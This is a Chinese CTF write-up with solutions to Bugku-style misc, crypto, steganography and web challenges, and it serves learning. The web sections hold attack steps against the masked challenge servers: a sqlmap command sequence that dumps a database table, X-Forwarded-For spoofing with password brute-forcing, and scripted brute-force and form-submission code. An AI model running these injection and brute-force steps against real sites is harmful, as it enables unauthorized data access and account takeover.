应平台的要求,所以对题目中的URL都进行了处理,在此也只是记录一个学习的过程。
头像
用16进制编辑器打开搜索flag
就找到了,也算不上坑,就是找到的flag
还要经过base64解密后再来进行MD5加密
签到
没什么说的,flag已经给了
0和1的故事
这题目我还是看了Writeup之后才知道的,题目的信息给的很明确,0和1,就是二进制编码,然后说空格和0很配,就是空格代表0了,然后一层一层的打开压缩包后发现一个.txt
的文件,全选后发现确实有很多空格,但是到这里我就不明白了!
看过writeup之后得知用16进制编辑器打开,才明白了
20是空格表示1,那么09就表示0了,最后转换为16进制字符串就是最后的flag了
web1
分析给的代码就能够得到flag了,很容易,就不多说了
http://***.***.**.**:10001/?a
这个人真的很高
png图片,然后题目的信息也很明确,那么修改高度就能够得到一部分的flag,然后还有一部分用16进制编辑器打开后就在文件的尾部,但这不是最终的flag,当然也很明显,栅栏加密,多试几次就能够看到flag了
web9
题目给出的就是:put me a message bugku then you can get the flag
Firefox改包:
得到一段base64加密后的flag,解密一下就有了
Snake
反编译一下jar文件,然后在Game
这个类中找到了计算flag的方法:
Python代码:
fake="eobdxpmbhf\\jpgYaiibYagkc{"
flag=""
for i in range(int(len(fake)/2)):
flag=flag+chr(3^ord(fake[i]))
for f in range(int(len(fake)/2)+1,len(fake)):
flag=flag+chr(6^ord(fake[f]))
print(flag)
进制转换
明确的说了是进制转换,然后f
对应的102,所以用1212一个个试试,返现4进制的时候得到的是102,然后python写个脚本就出来了
s=[1212,1230,1201,1213,1323,1012,1233,1311,1302,1202,1201,1303,1211,301,302,303,1331]
flag=""
for i in s:
flag+=chr(int(str(i),4))
print(flag)`
流量分析
很简单,直接搜索就出来了:
web2
凭手速是不太现实的,看下源码,那就通过Python来解决了:
import re
import requests
s = requests.Session()
url = '题目的URL'
r = s.get(url)
r.encoding = 'utf-8'
print(r.text)
num = re.findall(re.compile(r'
\s+(.*?)'), r.text)[0]
print(num)
r = s.post(url, data={'result': eval(num)})
print(r.text)
Web 5
题目已经很良心的说了注入,sqlmap来一梭子就完事了!
查看库得到:web5
python2 sqlmap.py -u "http://**.**.***.***:10005/?mod=read&id=1" --current-db
查看表得到:flag
python2 sqlmap.py -u "http://**.**.***.***:10005/?mod=read&id=1" -D web5 --table
查看字段得到:flag
python2 sqlmap.py -u "http://**.**.***.***:10005/?mod=read&id=1" -D web5 -T flag --colums
查看flag字段:
python2 sqlmap.py -u "http://**.**.***.***:10005/?mod=read&id=1" -D web5 -T flag -C flag --dump
Web 6
随便输入一个用户名,密码后提交,然后就抓包,
X-Forwarded-For: 127.0.0.1
那么就尝试用字典开始爆破了,直接百度找了个常见的弱口令:
用户名一开始就是用的admin
,然后直接爆破密码得到是test123
,就得到flag了;
Web 11
打开后是:We han't anything!
robots
We han't anything!
查看robots.txt
:
User-agent: *
Disallow: /shell.php
查看shell.php
substr()
函数返回字符串的一部分。
import hashlib
s="0e8061"
def count_md5(strings):
md5=hashlib.md5(strings.encode('utf-8'))
ret=md5.hexdigest()
return ret
for i in range(1,1000000):
key=count_md5(str(i))
if key[0:6]==s:
print(str(i))
怀疑人生
有三个文件:一个加密额压缩包两张图片
第二张图片用binwalk
分析了下,得到一个txt的文件里面有这些个东西:
Brainfuck编码:https://www.splitbrain.org/services/ook
解码得到:3oD54e
然后看看是不是加密的压缩包的密码,试了下发现不是,但这串字符肯定是有用的,这个时候确实开始怀疑人生,也没看到哪里有提示!
看过Writeup后,才真正明白,我是真的不会
第一部分:
第一个压缩包通过爆破得到密码是:pasword
得到一串base64编码后的字符串,解码后得到:\u66\u6c\u61\u67\u7b\u68\u61\u63\u6b\u65\u72
十六进制转字符串得到:flag{hacker
第二部分:
base58解码为字符串得到:misc
第三部分:
扫码得到:
(通过手机还有草料 没有扫出来,这个网站可以:https://online-barcode-reader.inliteresearch.com/
12580}
神奇的字符串
在这个网站都有的: http://ctf.ssleye.com/
依次通过base64,base91,base58解码后就得到flag了
web13
在数据包的头部发现一个password:
base64解码之后得到一个flag,但是并不是题目的flag,于是在题目中提交flag中的内容:
依旧是密码错误,发现刷新后再次查看password的字符串已经是变化的,并不是固定的,不刷新提交后:
刚开始没有引入会话对象Session,导致一直提交的是错误的,需要保证GET请求和POST请求在同一个会话当中才能够获得最终的flag:
import base64
import requests
def get_flag(url):
s = requests.Session()
r = s.get(url)
text=(r.headers['Password'])
flag=bytes.decode(base64.b64decode(text.encode('utf-8')))
flag=flag[5:-1]
r = s.post(url, data={'password':flag})
return r.text
txt500
题目下载下来一共500个txt文件,也没有什么提示,还是套路吧,就是搜索下关键的字符串flag,key等等,但是一共500个文件,不可能一个文件一个文件的去搜索吧!这里可以直接通过UE来搜索多个文件的内容了,或者通过linux,在这里就说下怎么通过UE来搜索的:
也可以点击左下的设置按钮匹配正则表达式什么的!最终找到:
日志审计
还是一样的套路,先搜索一波关键字,在flag里面发现了点东西
于是乎找到了黑客攻击的痕迹
套路见的多了一眼就能够看出102、108、97、103对应着flag
的ASCII编码
解码下就能够得到flag了
向日葵
一张jpg的图片,用010Editor打开,常规的搜索下flag,key等没有发现什么,移到最后发现了Rar的文件头
修改文件后缀名为.rar
打开得到:
可能是英文字母5*5的排列,先试试
得到的就是:
juijoldugjtfbty
,提示最后一步凯撒密码,于是乎凯撒解密看看:
发现最后这个可能是:
ithinkctfiseasx
提交不对,改成:
ithinkctfiseasy
,提交正确!